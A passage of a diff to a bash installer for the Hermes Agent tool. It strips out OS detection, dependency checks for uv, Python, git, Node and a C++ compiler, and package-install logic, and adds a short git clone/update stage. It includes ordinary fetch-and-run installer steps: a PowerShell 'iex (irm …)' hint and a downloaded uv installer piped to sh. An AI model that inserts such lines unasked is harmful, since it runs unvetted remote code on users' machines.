manager." + log "prerequisites ok (git, curl)" } -emit_stage_json() { - local stage="$1" - local ok="$2" - local skipped="${3:-false}" - local reason="${4:-}" - local escaped_reason - escaped_reason="$(json_escape "$reason")" - if [ -n "$escaped_reason" ]; then - printf '{"ok":%s,"stage":"%s","skipped":%s,"reason":"%s"}\n' "$ok" "$stage" "$skipped" "$escaped_reason" +stage_repository() { + if [ -d "$INSTALL_DIR/.git" ]; then + log "updating $INSTALL_DIR" + git -C "$INSTALL_DIR" fetch origin "$BRANCH" || fail "git fetch failed" + git -C "$INSTALL_DIR" checkout "$BRANCH" || fail "git checkout failed" + git -C "$INSTALL_DIR" pull --ff-only origin "$BRANCH" || log "not fast-forwardable; keeping local state" else - printf '{"ok":%s,"stage":"%s","skipped":%s}\n' "$ok" "$stage" "$skipped" + log "cloning $REPO_URL ($BRANCH) into $INSTALL_DIR" + mkdir -p "$(dirname "$INSTALL_DIR")" + git clone --branch "$BRANCH" "$REPO_URL" "$INSTALL_DIR" || fail "git clone failed" fi -} - -prompt_yes_no() { - local question="$1" - local default="${2:-yes}" - local prompt_suffix - local answer="" - - # Use case patterns (not ${var,,}) so this works on bash 3.2 (macOS /bin/bash). - case "$default" in - [yY]|[yY][eE][sS]|[tT][rR][uU][eE]|1) prompt_suffix="[Y/n]" ;; - *) prompt_suffix="[y/N]" ;; - esac - - if [ "$NON_INTERACTIVE" = true ]; then - answer="" - elif [ "$IS_INTERACTIVE" = true ]; then - read -r -p "$question $prompt_suffix " answer || answer="" - elif [ -r /dev/tty ] && [ -w /dev/tty ]; then - printf "%s %s " "$question" "$prompt_suffix" > /dev/tty - IFS= read -r answer < /dev/tty || answer="" - else - answer="" - fi - - answer="${answer#"${answer%%[![:space:]]*}"}" - answer="${answer%"${answer##*[![:space:]]}"}" - - if [ -z "$answer" ]; then - case "$default" in - [yY]|[yY][eE][sS]|[tT][rR][uU][eE]|1) return 0 ;; - *) return 1 ;; - esac - fi - - case "$answer" in - [yY]|[yY][eE][sS]) return 0 ;; - *) return 1 ;; - esac -} - -is_termux() { - [ -n "${TERMUX_VERSION:-}" ] || [[ "${PREFIX:-}" == *"com.termux/files/usr"* ]] -} - -# Decide where the repo checkout + venv live, and where the `hermes` command -# symlink goes. Called after detect_os so $OS/$DISTRO are known. -# -# Defaults: -# - Non-root, any OS: INSTALL_DIR = $HERMES_HOME/hermes-agent -# command link in $HOME/.local/bin -# - Termux (any uid): INSTALL_DIR = $HERMES_HOME/hermes-agent -# command link in $PREFIX/bin (already on PATH) -# - Root on Linux (new): INSTALL_DIR = /usr/local/lib/hermes-agent -# command link in /usr/local/bin -# (unless a legacy install already exists at -# $HERMES_HOME/hermes-agent — then preserve it) -# -# Always no-op when the user set --dir or $HERMES_INSTALL_DIR. -resolve_install_layout() { - if [ "$INSTALL_DIR_EXPLICIT" = true ]; then - log_info "Install directory: $INSTALL_DIR (explicit)" - return 0 - fi - - # Termux: package manager manages /data/data/..., keep code in HERMES_HOME. - if is_termux; then - INSTALL_DIR="$HERMES_HOME/hermes-agent" - return 0 - fi - - # Root on Linux: prefer FHS layout unless a legacy install already exists. - # macOS root installs keep the legacy layout because /usr/local/ on macOS - # is Homebrew territory and we don't want to fight that. - if [ "$OS" = "linux" ] && [ "$(id -u)" -eq 0 ]; then - if [ -d "$HERMES_HOME/hermes-agent/.git" ]; then - INSTALL_DIR="$HERMES_HOME/hermes-agent" - log_info "Existing install detected at $INSTALL_DIR — keeping legacy layout" - log_info " (new root installs use /usr/local/lib/hermes-agent)" - return 0 - fi - INSTALL_DIR="/usr/local/lib/hermes-agent" - ROOT_FHS_LAYOUT=true - # Place uv-managed Python under /usr/local/share so the venv interpreter - # is world-readable. Default uv paths land in /root/.local/share/uv, - # which non-root users can't traverse — leaving the shared - # /usr/local/bin/hermes wrapper unable to exec the bad-interpreter venv - # python. See #21457. - export UV_PYTHON_INSTALL_DIR="${UV_PYTHON_INSTALL_DIR:-/usr/local/share/uv/python}" - export UV_PYTHON_BIN_DIR="${UV_PYTHON_BIN_DIR:-/usr/local/share/uv/bin}" - log_info "Root install on Linux — using FHS layout" - log_info " Code: $INSTALL_DIR" - log_info " Command: /usr/local/bin/hermes" - log_info " Data: $HERMES_HOME (unchanged)" - log_info " uv Python: $UV_PYTHON_INSTALL_DIR (world-readable)" - return 0 - fi - - # Default: non-root, non-Termux → legacy user-scoped layout. - INSTALL_DIR="$HERMES_HOME/hermes-agent" -} - -get_command_link_dir() { - if is_termux && [ -n "${PREFIX:-}" ]; then - echo "$PREFIX/bin" - elif [ "$ROOT_FHS_LAYOUT" = true ]; then - echo "/usr/local/bin" - else - echo "$HOME/.local/bin" - fi -} - -get_command_link_display_dir() { - if is_termux && [ -n "${PREFIX:-}" ]; then - echo '$PREFIX/bin' - elif [ "$ROOT_FHS_LAYOUT" = true ]; then - echo '/usr/local/bin' - else - echo '~/.local/bin' - fi -} - -# Point a Hermes-managed Node's `npm install -g` at a directory that is on -# PATH. npm's default global prefix for a bundled Node is the Node dir itself, -# so global package binaries land in $HERMES_HOME/node/bin — which is NOT on -# PATH (only the command link dir is) and is wiped on every Node upgrade. -# Redirecting the prefix to the link dir's parent makes global bins resolve to -# the command link dir (node/npm/npx live there too, already on PATH) and -# survive upgrades. Scoped to the managed Node via its prefix-local global -# npmrc, so the user's other Node installs and their ~/.npmrc are untouched. -# Hermes's own global installs pass an explicit --prefix and are unaffected. -# Idempotent and a no-op when there is no Hermes-managed npm, so calling it on -# every install run repairs pre-existing installs, not just fresh ones. -configure_managed_node_npm_prefix() { - [ -x "$HERMES_HOME/node/bin/npm" ] || return 0 - local link_dir - link_dir="$(get_command_link_dir)" - mkdir -p "$HERMES_HOME/node/etc" - printf 'prefix=%s\n' "$(dirname "$link_dir")" > "$HERMES_HOME/node/etc/npmrc" -} - -get_hermes_command_path() { - local link_dir - link_dir="$(get_command_link_dir)" - if [ -x "$link_dir/hermes" ]; then - echo "$link_dir/hermes" - else - echo "hermes" - fi -} - -# ============================================================================ -# System detection -# ============================================================================ - -detect_os() { - case "$(uname -s)" in - Linux*) - if is_termux; then - OS="android" - DISTRO="termux" - else - OS="linux" - if [ -f /etc/os-release ]; then - . /etc/os-release - DISTRO="$ID" - # VERSION_ID (e.g. "26.04", "14") lets us tell whether the - # apt release is newer than the newest one Playwright's - # platform resolver recognizes — the #35166 hang condition. - DISTRO_VERSION="${VERSION_ID:-}" - else - DISTRO="unknown" - DISTRO_VERSION="" - fi - fi - ;; - Darwin*) - OS="macos" - DISTRO="macos" - ;; - CYGWIN*|MINGW*|MSYS*) - OS="windows" - DISTRO="windows" - log_error "Windows detected. Please use the PowerShell installer:" - log_info " iex (irm https://hermes-agent.nousresearch.com/install.ps1)" - exit 1 - ;; - *) - OS="unknown" - DISTRO="unknown" - log_warn "Unknown operating system" - ;; - esac - - log_success "Detected: $OS ($DISTRO)" -} - -# ============================================================================ -# Dependency checks -# ============================================================================ - -install_uv() { - if [ "$DISTRO" = "termux" ]; then - log_info "Termux detected — using Python's stdlib venv + pip instead of uv" - UV_CMD="" - return 0 - fi - - # Hermes owns its own uv at $HERMES_HOME/bin/uv. Always install there — - # no PATH probing, no conda guards, no multi-location resolution chains. - # The runtime update path (hermes_cli/managed_uv.py) looks in the same - # place, so install.sh and `hermes update` stay in sync. - local _managed_uv="$HERMES_HOME/bin/uv" - - if [ -x "$_managed_uv" ]; then - UV_CMD="$_managed_uv" - UV_VERSION=$($UV_CMD --version 2>/dev/null) - log_success "Managed uv found ($UV_VERSION)" - return 0 - fi - - log_info "Installing managed uv into $HERMES_HOME/bin ..." - mkdir -p "$HERMES_HOME/bin" - - # Two-stage: download the installer, then run it. Piping - # `curl | sh` masks curl failures (sh exits 0 on empty stdin) - # and conflates network errors with installer errors. - local _uv_install_log _uv_installer - _uv_install_log="$(mktemp 2>/dev/null || echo "/tmp/hermes-uv-install.$$.log")" - _uv_installer="$(mktemp 2>/dev/null || echo "/tmp/hermes-uv-installer.$$.sh")" - if ! curl -LsSf https://astral.sh/uv/install.sh -o "$_uv_installer" 2>"$_uv_install_log"; then - log_error "Failed to download uv installer from https://astral.sh/uv/install.sh" - log_info "curl output:" - sed 's/^/ /' "$_uv_install_log" >&2 - log_info "Install manually: https://docs.astral.sh/uv/getting-started/installation/" - rm -f "$_uv_install_log" "$_uv_installer" - exit 1 - fi - # UV_UNMANAGED_INSTALL tells the astral installer to place the binary - # directly into $HERMES_HOME/bin instead of ~/.local/bin. - if UV_UNMANAGED_INSTALL="$HERMES_HOME/bin" sh "$_uv_installer" >>"$_uv_install_log" 2>&1; then - rm -f "$_uv_installer" - if [ -x "$_managed_uv" ]; then - UV_CMD="$_managed_uv" - else - log_error "uv installer reported success but binary not found at $_managed_uv" - log_info "Installer output:" - sed 's/^/ /' "$_uv_install_log" >&2 - rm -f "$_uv_install_log" - exit 1 - fi - rm -f "$_uv_install_log" - UV_VERSION=$($UV_CMD --version 2>/dev/null) - log_success "Managed uv installed ($UV_VERSION)" - else - log_error "Failed to install uv" - log_info "Installer output:" - sed 's/^/ /' "$_uv_install_log" >&2 - log_info "Install manually: https://docs.astral.sh/uv/getting-started/installation/" - rm -f "$_uv_install_log" "$_uv_installer" - exit 1 - fi -} - -check_python() { - if [ "$DISTRO" = "termux" ]; then - log_info "Checking Termux Python..." - if command -v python >/dev/null 2>&1; then - PYTHON_PATH="$(command -v python)" - if "$PYTHON_PATH" -c 'import sys; raise SystemExit(0 if sys.version_info >= (3, 11) else 1)' 2>/dev/null; then - PYTHON_FOUND_VERSION="$("$PYTHON_PATH" --version 2>/dev/null)" - log_success "Python found: $PYTHON_FOUND_VERSION" - return 0 - fi - fi - - log_info "Installing Python via pkg..." - pkg install -y python >/dev/null - PYTHON_PATH="$(command -v python)" - PYTHON_FOUND_VERSION="$("$PYTHON_PATH" --version 2>/dev/null)" - log_success "Python installed: $PYTHON_FOUND_VERSION" - return 0 - fi - - log_info "Checking Python $PYTHON_VERSION..." - - # Let uv handle Python — it can download and manage Python versions - # First check if a suitable Python is already available - if PYTHON_PATH="$("$UV_CMD" python find "$PYTHON_VERSION" 2>/dev/null)"; then - PYTHON_FOUND_VERSION="$("$PYTHON_PATH" --version 2>/dev/null)" - log_success "Python found: $PYTHON_FOUND_VERSION" - return 0 - fi - - # Python not found — use uv to install it (no sudo needed!) - log_info "Python $PYTHON_VERSION not found, installing via uv..." - if "$UV_CMD" python install "$PYTHON_VERSION"; then - PYTHON_PATH="$("$UV_CMD" python find "$PYTHON_VERSION")" - PYTHON_FOUND_VERSION="$("$PYTHON_PATH" --version 2>/dev/null)" - log_success "Python installed: $PYTHON_FOUND_VERSION" - else - log_error "Failed to install Python $PYTHON_VERSION" - log_info "Install Python $PYTHON_VERSION manually, then re-run this script" - exit 1 - fi -} - -# Best-effort automatic git provisioning, mirroring install.ps1's Install-Git -# (which downloads PortableGit on Windows). git is required to clone the repo, -# and a fresh "normie" machine with no developer tools won't have it. Returns 0 -# if git is available afterwards, non-zero otherwise (caller prints manual -# instructions and aborts). -attempt_install_git() { - case "$OS" in - macos) - # Prefer Homebrew — fully headless when present. - if command -v brew >/dev/null 2>&1; then - log_info "Installing Git via Homebrew..." - brew install git >/dev/null 2>&1 || true - command -v git >/dev/null 2>&1 && return 0 - fi - # Fall back to Apple Command Line Tools, which provide git AND the - # compiler some Python wheels need. `xcode-select --install` pops a - # system dialog (Apple gates CLT behind it — it cannot be fully - # silent without MDM), so we trigger it and poll for git to appear. - if command -v xcode-select >/dev/null 2>&1; then - log_info "Requesting Apple Command Line Tools (provides git + compiler)..." - log_info "If a macOS dialog appears, click \"Install\" and accept the license." - xcode-select --install >/dev/null 2>&1 || true - local waited=0 - local timeout=900 - while [ "$waited" -lt "$timeout" ]; do - if command -v git >/dev/null 2>&1 && git --version >/dev/null 2>&1; then - return 0 - fi - sleep 5 - waited=$((waited + 5)) - if [ $((waited % 60)) -eq 0 ]; then - log_info "Still waiting for Command Line Tools install ($((waited / 60))m)..." - fi - done - fi - return 1 - ;; - linux) - local sudo_cmd="" - if [ "$(id -u 2>/dev/null || echo 1000)" -ne 0 ]; then - command -v sudo >/dev/null 2>&1 && sudo_cmd="sudo" - fi - case "$DISTRO" in - ubuntu|debian) - log_info "Installing Git via apt..." - $sudo_cmd env DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1 || true - $sudo_cmd env DEBIAN_FRONTEND=noninteractive apt-get install -y -qq git >/dev/null 2>&1 || true - ;; - fedora) - log_info "Installing Git via dnf..." - $sudo_cmd dnf install -y git >/dev/null 2>&1 || true - ;; - arch) - log_info "Installing Git via pacman..." - $sudo_cmd pacman -S --noconfirm git >/dev/null 2>&1 || true - ;; - *) - return 1 - ;; - esac - command -v git >/dev/null 2>&1 && return 0 - return 1 - ;; - esac - return 1 -} - -check_git() { - log_info "Checking Git..." - - # On fresh macOS /usr/bin/git is a stub that exits non-zero until CLT is installed. - if command -v git &> /dev/null && git --version &> /dev/null; then - GIT_VERSION=$(git --version | awk '{print $3}') - log_success "Git $GIT_VERSION found" - return 0 - fi - - log_error "Git not found" - - if [ "$DISTRO" = "termux" ]; then - log_info "Installing Git via pkg..." - pkg install -y git >/dev/null - if command -v git >/dev/null 2>&1; then - GIT_VERSION=$(git --version | awk '{print $3}') - log_success "Git $GIT_VERSION installed" - return 0 - fi - fi - - # Try to install it automatically before giving up (parity with install.ps1). - log_info "Attempting to install Git automatically..." - if attempt_install_git; then - GIT_VERSION=$(git --version | awk '{print $3}') - log_success "Git $GIT_VERSION installed" - return 0 - fi - - log_warn "Could not install Git automatically. Please install it manually:" - - case "$OS" in - linux) - case "$DISTRO" in - ubuntu|debian) - log_info " sudo apt update && sudo apt install git" - ;; - fedora) - log_info " sudo dnf install git" - ;; - arch) - log_info " sudo pacman -S git" - ;; - *) - log_info " Use your package manager to install git" - ;; - esac - ;; - android) - log_info " pkg install git" - ;; - macos) - log_info " xcode-select --install" - log_info " Or: brew install git" - ;; - esac - - exit 1 -} - -# Node deps below (install_node_deps) build native addons — most notably -# node-pty, which every install needs — via node-gyp. node-gyp needs a C/C++ -# toolchain (make + a compiler); Python and make are already covered by -# check_python/check_node's prerequisites, but the compiler itself was never -# checked, so a missing g++/clang++ only surfaced as a wall of node-gyp/make -# output deep inside `npm install`, with no earlier, actionable warning. -# Best-effort like install_system_packages: warns and lets the caller decide -# whether to proceed rather than aborting the whole install (unlike git, -# which is hard-required much earlier for clone_repo). -check_cxx_compiler() { - log_info "Checking for a C++ compiler (needed to build native Node modules like node-pty)..." - - if command -v g++ &> /dev/null || command -v clang++ &> /dev/null; then - log_success "C++ compiler found" - HAS_CXX_COMPILER=true - return 0 - fi - - HAS_CXX_COMPILER=false - log_warn "No C++ compiler found" - - case "$OS" in - macos) - # Same Command Line Tools path as attempt_install_git — CLT provides - # git AND a compiler, so this is usually already satisfied by the - # check_git step above. Handles the case where git was present - # without CLT (e.g. installed via Homebrew) so CLT never triggered. - log_info "Attempting to install Xcode Command Line Tools (provides a C++ compiler)..." - log_info "If a macOS dialog appears, click \"Install\" and accept the license." - xcode-select --install >/dev/null 2>&1 || true - local waited=0 - local timeout=900 - while [ "$waited" -lt "$timeout" ]; do - if command -v g++ &> /dev/null || command -v clang++ &> /dev/null; then - log_success "C++ compiler installed" - HAS_CXX_COMPILER=true - return 0 - fi - sleep 5 - waited=$((waited + 5)) - if [ $((waited % 60)) -eq 0 ]; then - log_info "Still waiting for Command Line Tools install ($((waited / 60))m)..." - fi - done - ;; - linux) - local sudo_cmd="" - if [ "$(id -u 2>/dev/null || echo 1000)" -ne 0 ]; then - command -v sudo >/dev/null 2>&1 && sudo_cmd="sudo" - fi - log_info "Attempting to install a C++ compiler automatically..." - case "$DISTRO" in - ubuntu|debian) - log_info "Installing build-essential via apt..." - $sudo_cmd env DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1 || true - $sudo_cmd env DEBIAN_FRONTEND=noninteractive apt-get install -y -qq build-essential >/dev/null 2>&1 || true - ;; - fedora) - log_info "Installing gcc-c++ via dnf..." - $sudo_cmd dnf install -y gcc-c++ >/dev/null 2>&1 || true - ;; - arch) - log_info "Installing base-devel via pacman..." - $sudo_cmd pacman -S --noconfirm base-devel >/dev/null 2>&1 || true - ;; - esac - if command -v g++ &> /dev/null || command -v clang++ &> /dev/null; then - log_success "C++ compiler installed" - HAS_CXX_COMPILER=true - return 0 - fi - ;; - esac - - log_warn "Could not install a C++ compiler automatically." - log_warn "Node steps that compile native modules (e.g. node-pty) will fail below until one is installed." - log_info "Install it manually, then re-run this installer:" - case "$OS" in - linux) - case "$DISTRO" in - ubuntu|debian) log_info " sudo apt install build-essential" ;; - fedora) log_info " sudo dnf install gcc-c++" ;; - arch) log_info " sudo pacman -S base-devel" ;; - *) log_info " Install a C++ compiler (g++/gcc-c++) via your package manager" ;; - esac - ;; - android) - log_info " pkg install clang" - ;; - macos) - log_info " xcode-select --install" - ;; - esac - return 1 -} - -# The dependency tree supports Node 22.22+, 24.11+, and 26+. nanoid 6 excludes -# Node 23 and 25 while its >=26 arm accepts later releases, and @babel/* 8.x -# requires ^22.18.0 || >=24.11.0 — so accepting 23/25 or an early Node 24 -# here only defers the failure to `npm ci` under engine-strict. Keep this in -# sync with the root package.json. Anything outside the supported lines is -# replaced with the Hermes-managed Node $NODE_VERSION. -node_satisfies_build() { - local ver="${1#v}" - case "$ver" in *-*) return 1 ;; esac - local major="${ver%%.*}" - local minor="${ver#*.}"; minor="${minor%%.*}" - case "$major" in ''|*[!0-9]*) return 1 ;; esac - case "$minor" in ''|*[!0-9]*) minor=0 ;; esac - if [ "$major" -eq 22 ] && [ "$minor" -ge 22 ]; then return 0; fi - if [ "$major" -eq 24 ] && [ "$minor" -ge 11 ]; then return 0; fi - if [ "$major" -ge 26 ]; then return 0; fi - return 1 -} - -# npm 11.10.0–11.16.x honor `min-release-age` but ignore -# `min-release-age-exclude`, both of which `.npmrc` sets. That combination -# applies the 14-day age gate to packages we deliberately exempted, so every -# install fails ETARGET on a freshly published dependency. The root -# package.json excludes that band via `engines.npm`, and `engine-strict=true` -# makes it fatal — so a system npm in the band cannot install this repo, no -# matter how new its Node is. Returns 0 when the npm is usable. -npm_supports_npmrc() { - local ver="${1#v}" - local major="${ver%%.*}" - local minor="${ver#*.}"; minor="${minor%%.*}" - case "$major" in ''|*[!0-9]*) return 1 ;; esac - case "$minor" in ''|*[!0-9]*) minor=0 ;; esac - # The bad band is 11.10.0 through 11.16.x. - if [ "$major" -eq 11 ] && [ "$minor" -ge 10 ] && [ "$minor" -le 16 ]; then - return 1 - fi - return 0 -} - -check_node() { - log_info "Checking Node.js (for browser tools)..." - - # Repair pre-existing Hermes-managed installs where `npm install -g` lands - # off PATH. No-op when there's no managed Node, so this is safe to run on - # every install — including re-runs that skip the Node (re)install below. - configure_managed_node_npm_prefix - - # The system toolchain is only usable when BOTH halves work: a Node new - # enough for the desktop build AND an npm that can read our .npmrc. A - # bad-band npm (see npm_supports_npmrc) fails `npm ci` outright, and the - # managed Node we install instead bundles one that works. - # - # npm must actually be reachable, not just node: a stray `node` symlink - # without a sibling npm (leftover from a node version manager) makes - # `command -v node` succeed while every later `npm install` silently - # fails and the desktop build dies with an opaque "Node.js / npm - # unavailable" (#77003). Node only counts as found when npm resolves on - # the same PATH. - if command -v node &> /dev/null && command -v npm &> /dev/null \ - && node_satisfies_build "$(node --version)"; then - if npm_supports_npmrc "$(npm --version 2>/dev/null)"; then - log_success "Node.js $(node --version) found" - HAS_NODE=true - return 0 - fi - log_warn "npm $(npm --version) cannot honor this repo's .npmrc (npm 11.10-11.16 ignore" - log_warn "min-release-age-exclude) — installing Hermes-managed Node $NODE_VERSION instead..." - install_node - return - fi - - # Prefer a Hermes-managed Node from a previous run over a too-old system one. - if [ -x "$HERMES_HOME/node/bin/node" ] && [ -x "$HERMES_HOME/node/bin/npm" ] \ - && node_satisfies_build "$("$HERMES_HOME/node/bin/node" --version)"; then - export PATH="$HERMES_HOME/node/bin:$PATH" - log_success "Node.js $("$HERMES_HOME/node/bin/node" --version) found (Hermes-managed)" - HAS_NODE=true - return 0 - fi - - if command -v node &> /dev/null && ! command -v npm &> /dev/null; then - log_warn "node found but npm is not on PATH (stray node symlink?) — installing Hermes-managed Node $NODE_VERSION LTS..." - elif command -v node &> /dev/null; then - log_warn "Node.js $(node --version) is unsupported (Hermes requires Node 22.22+, 24.11+, or 26+) — installing Hermes-managed Node $NODE_VERSION..." - elif [ "$DISTRO" = "termux" ]; then - log_info "Node.js not found — installing Node.js via pkg..." - else - log_info "Node.js not found — installing Node.js $NODE_VERSION LTS..." - fi - install_node -} - -install_node() { - if [ "$DISTRO" = "termux" ]; then - log_info "Installing Node.js via pkg..." - if pkg install -y nodejs >/dev/null; then - local installed_ver - installed_ver=$(node --version 2>/dev/null) - log_success "Node.js $installed_ver installed via pkg" - HAS_NODE=true - else - log_warn "Failed to install Node.js via pkg" - HAS_NODE=false - fi - return 0 - fi - - local arch=$(uname -m) - local node_arch - case "$arch" in - x86_64) node_arch="x64" ;; - aarch64|arm64) node_arch="arm64" ;; - armv7l) node_arch="armv7l" ;; - *) - log_warn "Unsupported architecture ($arch) for Node.js auto-install" - log_info "Install manually: https://nodejs.org/en/download/" - HAS_NODE=false - return 0 - ;; - esac - - local node_os - case "$OS" in - linux) node_os="linux" ;; - macos) node_os="darwin" ;; - *) - log_warn "Unsupported OS for Node.js auto-install" - HAS_NODE=false - return 0 - ;; - esac - - # Resolve the latest v${NODE_VERSION}.x.x tarball name from the index page - local index_url="https://nodejs.org/dist/latest-v${NODE_VERSION}.x/" - local tarball_name - tarball_name=$(curl -fsSL "$index_url" \ - | grep -oE "node-v${NODE_VERSION}\.[0-9]+\.[0-9]+-${node_os}-${node_arch}\.tar\.xz" \ - | head -1) - - # Fallback to .tar.gz if .tar.xz not available - if [ -z "$tarball_name" ]; then - tarball_name=$(curl -fsSL "$index_url" \ - | grep -oE "node-v${NODE_VERSION}\.[0-9]+\.[0-9]+-${node_os}-${node_arch}\.tar\.gz" \ - | head -1) - fi - - if [ -z "$tarball_name" ]; then - log_warn "Could not find Node.js $NODE_VERSION binary for $node_os-$node_arch" - log_info "Install manually: https://nodejs.org/en/download/" - HAS_NODE=false - return 0 - fi - - local download_url="${index_url}${tarball_name}" - local tmp_dir - tmp_dir=$(mktemp -d) - - log_info "Downloading $tarball_name..." - if ! curl -fsSL "$download_url" -o "$tmp_dir/$tarball_name"; then - log_warn "Download failed" - rm -rf "$tmp_dir" - HAS_NODE=false - return 0 - fi - - log_info "Extracting to ~/.hermes/node/..." - if [[ "$tarball_name" == *.tar.xz ]]; then - tar xf "$tmp_dir/$tarball_name" -C "$tmp_dir" - else - tar xzf "$tmp_dir/$tarball_name" -C "$tmp_dir" - fi - - local extracted_dir - extracted_dir=$(ls -d "$tmp_dir"/node-v* 2>/dev/null | head -1) - - if [ ! -d "$extracted_dir" ]; then - log_warn "Extraction failed" - rm -rf "$tmp_dir" - HAS_NODE=false - return 0 - fi - - # Place into ~/.hermes/node/ and symlink binaries into the same bin dir - # the hermes command uses (get_command_link_dir): /usr/local/bin for root - # FHS installs, $PREFIX/bin on Termux, ~/.local/bin otherwise. - rm -rf "$HERMES_HOME/node" - mkdir -p "$HERMES_HOME" - mv "$extracted_dir" "$HERMES_HOME/node" - rm -rf "$tmp_dir" - - local node_link_dir - node_link_dir="$(get_command_link_dir)" - mkdir -p "$node_link_dir" - ln -sf "$HERMES_HOME/node/bin/node" "$node_link_dir/node" - ln -sf "$HERMES_HOME/node/bin/npm" "$node_link_dir/npm" - ln -sf "$HERMES_HOME/node/bin/npx" "$node_link_dir/npx" - - configure_managed_node_npm_prefix - - export PATH="$HERMES_HOME/node/bin:$PATH" - - local installed_ver - installed_ver=$("$HERMES_HOME/node/bin/node" --version 2>/dev/null) - log_success "Node.js $installed_ver installed to ~/.hermes/node/" - HAS_NODE=true -} - -check_network_prerequisites() { - log_info "Checking internet connectivity for package install and web tools..." - - local url - local failed=false - local checks=("https://pypi.org/simple/" "https://duckduckgo.com/") - - if ! command -v curl >/dev/null 2>&1; then - log_warn "curl not found; skipping connectivity probes" - return 0 - fi - - # Run the probes in parallel — serially, two blocked probes cost - # 2 × --max-time (16 s) before the user sees any useful error; in - # parallel the worst case is one --max-time (8 s). - local pids=() - local tmpdir - tmpdir=$(mktemp -d) - local i=0 - for url in "${checks[@]}"; do - ( - if curl -fsSI --max-time 8 "$url" >/dev/null 2>&1; then - : > "$tmpdir/ok_$i" - fi - ) & - pids+=($!) - i=$((i + 1)) - done - wait "${pids[@]}" 2>/dev/null - - i=0 - for url in "${checks[@]}"; do - if [ ! -e "$tmpdir/ok_$i" ]; then - failed=true - log_warn "Could not reach $url" - fi - i=$((i + 1)) - done - rm -rf "$tmpdir" - - if [ "$failed" = false ]; then - log_success "Internet connectivity looks good" - return 0 - fi - - if [ "$DISTRO" = "termux" ]; then - log_warn "Termux network prerequisites may be incomplete." - log_info "Try: pkg install -y ca-certificates curl && pkg update" - log_info "If mirrors are stale: termux-change-repo" - log_info "Then test: curl -I https://pypi.org/simple/ && curl -I https://duckduckgo.com/" - else - log_warn "Network checks failed. Hermes install may complete, but web search and dependency downloads can fail." - log_info "Verify internet/DNS and retry if pip install fails." - fi -} - -install_system_packages() { - # Detect what's missing - HAS_RIPGREP=false - HAS_FFMPEG=false - local need_ripgrep=false - local need_ffmpeg=false - - log_info "Checking ripgrep (fast file search)..." - if command -v rg &> /dev/null; then - log_success "$(rg --version | head -1) found" - HAS_RIPGREP=true - else - need_ripgrep=true - fi - - log_info "Checking ffmpeg (TTS voice messages)..." - if command -v ffmpeg &> /dev/null; then - local ffmpeg_ver=$(ffmpeg -version 2>/dev/null | head -1 | awk '{print $3}') - log_success "ffmpeg $ffmpeg_ver found" - HAS_FFMPEG=true - else - need_ffmpeg=true - fi - - # Termux always needs the Android build toolchain for the tested pip path, - # even when ripgrep/ffmpeg are already present. - if [ "$DISTRO" = "termux" ]; then - local termux_pkgs=(clang rust make pkg-config libffi openssl ca-certificates curl) - if [ "$need_ripgrep" = true ]; then - termux_pkgs+=("ripgrep") - fi - if [ "$need_ffmpeg" = true ]; then - termux_pkgs+=("ffmpeg") - fi - - log_info "Installing Termux packages: ${termux_pkgs[*]}" - if pkg install -y "${termux_pkgs[@]}" >/dev/null; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - log_success "Termux build dependencies installed" - return 0 - fi - - log_warn "Could not auto-install all Termux packages" - log_info "Install manually: pkg install ${termux_pkgs[*]}" - return 0 - fi - - # Nothing to install — done - if [ "$need_ripgrep" = false ] && [ "$need_ffmpeg" = false ]; then - return 0 - fi - - # Build a human-readable description + package list - local desc_parts=() - local pkgs=() - if [ "$need_ripgrep" = true ]; then - desc_parts+=("ripgrep for faster file search") - pkgs+=("ripgrep") - fi - if [ "$need_ffmpeg" = true ]; then - desc_parts+=("ffmpeg for TTS voice messages") - pkgs+=("ffmpeg") - fi - local description - description=$(IFS=" and "; echo "${desc_parts[*]}") - - # ── macOS: brew ── - if [ "$OS" = "macos" ]; then - if command -v brew &> /dev/null; then - log_info "Installing ${pkgs[*]} via Homebrew..." - if brew install "${pkgs[@]}"; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - return 0 - fi - fi - log_warn "Could not auto-install (brew not found or install failed)" - log_info "Install manually: brew install ${pkgs[*]}" - return 0 - fi - - # ── Linux: resolve package manager command ── - local pkg_install="" - case "$DISTRO" in - ubuntu|debian) pkg_install="apt install -y" ;; - fedora) pkg_install="dnf install -y" ;; - arch) pkg_install="pacman -S --noconfirm" ;; - esac - - if [ -n "$pkg_install" ]; then - local install_cmd="$pkg_install ${pkgs[*]}" - - # Prevent needrestart/whiptail dialogs from blocking non-interactive installs - case "$DISTRO" in - ubuntu|debian) export DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a ;; - esac - - # Already root — just install - if [ "$(id -u)" -eq 0 ]; then - log_info "Installing ${pkgs[*]}..." - if $install_cmd; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - return 0 - fi - # Passwordless sudo — just install - elif command -v sudo &> /dev/null && sudo -n true 2>/dev/null; then - log_info "Installing ${pkgs[*]}..." - if sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a $install_cmd; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - return 0 - fi - # sudo needs password — ask once for everything - elif command -v sudo &> /dev/null; then - if [ "$IS_INTERACTIVE" = true ]; then - echo "" - log_info "sudo is needed ONLY to install optional system packages (${pkgs[*]}) via your package manager." - log_info "Hermes Agent itself does not require or retain root access." - if prompt_yes_no "Install ${description}? (requires sudo)" "no"; then - if sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a $install_cmd; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - return 0 - fi - fi - elif (: /dev/null; then - # Non-interactive (e.g. curl | bash) but a terminal is available. - # Read the prompt from /dev/tty (same approach the setup wizard uses). - # Probe by actually opening /dev/tty: a bare existence test passes - # in Docker builds where the device node is in the mount 